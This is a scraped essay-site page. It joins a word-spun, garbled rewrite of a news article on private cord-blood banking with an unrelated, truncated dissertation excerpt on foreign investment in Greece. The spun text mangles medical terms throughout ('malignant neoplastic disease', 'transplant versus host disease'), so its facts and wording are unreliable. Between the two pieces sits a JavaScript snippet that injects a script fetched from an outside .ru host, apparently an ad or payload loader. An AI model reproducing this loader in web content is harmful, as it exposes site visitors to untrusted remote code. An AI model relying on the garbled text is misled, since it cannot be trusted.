Blood Of Children Sampling Essay Research Paper

Blood Of Children Sampling Essay, Research Paper Should parents pay a blood bank to hive away the blood from their newborn babe # 8217 ; s umbilical cord and placenta, in instance that kid or another household member of all time demands it to handle malignant neoplastic disease or leukaemia? Anticipant parents are being urged to make so by companies that have sprung up during the past few old ages to sell cord-blood banking as a signifier of biological insurance against such awful diseases. The pitch is based on studies in medical diaries, such as a major survey published last hebdomad in the New England Journal of Medicine, demoing that cord blood can sometimes be used in topographic point of a bone marrow graft. Like bone marrow, cord blood is rich in root cells, which can churn out many different types of cells to reconstruct a patient # 8217 ; s blood supply and immune system after high doses of radiation and chemotherapy. And a patient # 8217 ; s ain cord blood, or that from a comparative, is more likely than cord blood from an unrelated giver to be a good tissue lucifer and to be accepted by the receiver # 8217 ; s organic structure. Some experts in bone-marrow organ transplant and blood banking scowl on the cord-blood concern, reasoning that people are being frightened into blowing money on a service they will likely neer necessitate. Furthermore, private companies are turning in tandem with public Bankss, and some scientists worry that private banking will restrict public entree to cord blood. They are concerned because the cord blood in private Bankss remains the belongings of the donor household and is non available to patients seeking a compatible giver. But the companies say that nevertheless remote the possibility that the blood will be needed, people who choose to bank their ain cord blood have a right to make so. In most instances their cord blood would be thrown off in the bringing room if they did non pay to bank it. There are merely a few cord-blood Bankss in the United States, and most infirmaries do non hold specially trained staff members to roll up the blood. Like bone marrow, cord blood must be matched to the receiver by trials for six familial traits that determine an single # 8217 ; s tissue type. Cord blood does non hold to be as exactly matched as bone marrow, but still, the closer the lucifer, the better the odds of success. The weaker the lucifer, the more likely it is that the receiver # 8217 ; s organic structure will reject the graft, or the graft will assail the receiver # 8217 ; s tissues, in a dangerous reaction called transplant versus host disease. The companies that freezing cord blood and bank it point out that a individual # 8217 ; s ain cord blood is a perfect lucifer, and a sibling # 8217 ; s cord blood a more likely lucifer than a specimen from a alien. And so, the statement goes, the best manner to protect an full household from the unthinkable is to salvage the neonates # 8217 ; cord blood. Promotional literature for one company, Cord Blood Registry, in San Bruno, Calif. , emphasizes that people with malignant neoplastic disease in the household may hold a particular involvement in cord-blood banking, along with those who have the hardest clip happening lucifers, which includes members of racial minorities, particularly households in which the parents are of different races. Harmonizing to a spokeswoman, Scoti Kaesshaefer, the company reaches parents-to-be by advancing itself to physicians, nurses and childbearing pedagogues, and by go forthing information at infirmaries. Among the promotional stuffs the company provided to the New York Times were transcripts of articles from other newspapers proposing that malignant neoplastic disease among kids is on the rise. The company besides has a Web site and an 800 figure with a recorded salutation that instructs companies to hold their recognition cards ready. The thought of salvaging one # 8217 ; s ain cord blood seems to be catching on. Cord Blood Registry, which describes itself as the largest private cord-blood banking house in the United States, has stored 10,000 samples during the past three old ages: 1,500 in 1995, R / gt ; 3,000 in 1996 and 6,000 in 1997. The company charges an initial fee of $ 1,200 to roll up a sample and freezing it, and so $ 95 a twelvemonth to maintain it stored in liquid N at the blood bank at the University of Arizona. Customers include people with absolutely healthy kids, who merely want excess peace of head, as good as some households who have lost a kid to leukemia or another disease and fright for the wellness of their other kids. In its three old ages of operation, eight clients have retrieved their cord blood for usage in medical intervention, said Kaesshaefer. All eight samples were used for siblings or relations, she said. By contrast, the largest public-access bank of cord blood, at the New York Blood Center in Manhattan, has collected merely 8,686 specimens in six old ages. But about 800 of those samples have been used to handle patients, many of them kids, in the United States and overseas. Critics of private cord-blood companies point out that even if a individual with banked cord blood does necessitate a graft later, the stored blood may non be the best pick. Dr. Pablo Rubinstein, who directs the cord-blood plan at the New York Blood Center, said there was a compelling medical statement against utilizing a patient # 8217 ; s ain cord blood in some instances. In some immature kids with leukaemia, he said, malignant cells were already present at birth in the cord blood, and instilling those cells back into the kid subsequently might lend to a backsliding. In add-on, he said, bone marrow from a giver could assist destruct morbid cells, an consequence known as transplant versus leukaemia. A individual # 8217 ; s ain cord blood might non hold that consequence, and in some instances even a sibling # 8217 ; s might non. Dr. John Wagner, associate manager of bone marrow organ transplant at the University of Minnesota in Minneapolis, said that for a kid being treated late, he intentionally rejected cord blood from a sibling in favour of a well-matched unit from an unrelated giver, trusting to take advantage of its antileukemic consequence. Dr. Robertson Parkman, manager of bone marrow organ transplant at Children # 8217 ; s Hospital in Los Angeles, said he saw no point in banking cord blood for most households. It # 8217 ; s motivated by fright, he said. But in households with an sick kid who might necessitate a bone-marrow graft, he said, it makes sense to collect cord blood from any siblings born subsequently and salvage it. Medical centres with transplant plans will frequently execute that service, he said. So will some of the private companies, without a fee. When a bone-marrow giver could non be found for 4-year-old Joshua Kelton, who was enduring from leukaemia, his parents, stationed at a military base in Honolulu, conceived another kid in the hope that the babe # 8217 ; s tissues would fit Joshua # 8217 ; s. They did, and Cord Blood Register collected the cord blood at birth, stored it in Arizona for a month, and so, when Joshua was ready for the process, transported it to a medical centre at Stanford University. Joshua was treated with his baby brother # 8217 ; s cord blood in August, and has been declared free of leukaemia. Right now, he # 8217 ; s 100 per centum, his male parent said in a telephone interview, a normal kid, the manner he was before this happened. But the Keltons # 8217 ; experience is barely representative. That the household was certain it would necessitate the cord blood sets it apart from most households that store the blood. Wagner is wary of the hard sell of some of the cord-blood companies. My concern is that it be presented reasonably to expectant female parents, who are already reasonably vulnerable, he said. I have a batch of accoucheurs and parents naming me and kicking it # 8217 ; s excessively late, they missed the chance. Others call stating,# 8216 ; Should I make this? # 8217 ; It # 8217 ; s difficult to reply. I don # 8217 ; t want to bias them. We have person now who takes the calls for me because it got to be overpowering. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

FDI (Foreign Direct Investments) determinants in Greece and the impact Dissertation

FDI (Foreign Direct Investments) determinants in Greece and the impact of thr single European currency on the attraction of FDI - Dissertation Example The typical factors that bring FDIs in Greece mostly influence the capital productivity, decisions of foreign investors, and the labour costs on the sectoral level. In the conclusion, the paper provides significant policy implications. Table of Contents Table of Contents 2 1. Introduction 3 2. Literature Review 6 3. Locational Determinants of FDI INWARDS in Greece 10 4. Description of variables and hypotheses 15 6. CONCLUSIONS AND POLICY IMPLICATIONS 26 References 29 1. Introduction FDI is considered as the most important economic force in the world. The proportion of FDI in services sector is rapidly attaining great importance (United Nations Conference on Trade and Development, 2004). Special attributes making the treatment of FDI unique in the service sector include the coherence between the products’ production and consumption, the urgent requirement for local adaptation and the significant impact of quality (Boddewyn et al., 1986; Dunning, 1989). The services play a cruci al role in the entire process of production. For instance, the presence of the framework (Ramamurti and Doh, 2004) or financial services are regarded as the economy’s backbone. However, the small share of the services in the world’s exports, which is only 20 percent (IMF, 2003) highlights their non-tradable nature. Due to this specific attribute and in order to remove the trading restrictions, several businesses decide to support the domestic market with the FDIs. In services, the FDI inward stock of the world has increased from USD 950 billion to more than USD 4 trillion whilst the previous decade. At present, the FDI inward stocks in services account to over 60 percent of the total inward FDI stocks around the globe. Thus, in order to support their group internationally, numerous Multi-National Enterprises (MNEs) opt to invest in trading, marketing and financial intermediation associates. This shift of FDI flows to services is explained through the case of Greece in this study since Greece has been conventionally receiving FDI from the early 1950s. Most of the FDI flows were directed towards the sectors of basic metals, chemicals and transportation during the decade of 1963 to 1973 which extensively supported the revival and enhancement of the industrial base of the country. However, after the induction of Greece to European Union (EU), a smooth change occurred in the structure of FDI in the early 1980s. On the other hand, during the 1980s and 1990s, the FDI flows were targeted towards the industries of food, textiles, beverages and consumer electronics. The governments of Greece during that period took significant measures to lead the Greece towards rapid and sustainable development through enhancing the competitive advantages of its economy as it converged with the core countries of EU. These measures were further reinforced through targeted EU policies that specifically included Community Structural Funds and Cohesion Funds. The major part o f this support was inclined towards the development of infrastructure where as just a small portion of it was dedicated to education, training and capital (Paliginis, 2001). Presently, the objective of the policies at Greece is to encourage and attract FDI. Most of the industries in Greece are open to international investors, with the telecommunications sector being de-regularized as well as the energy industry being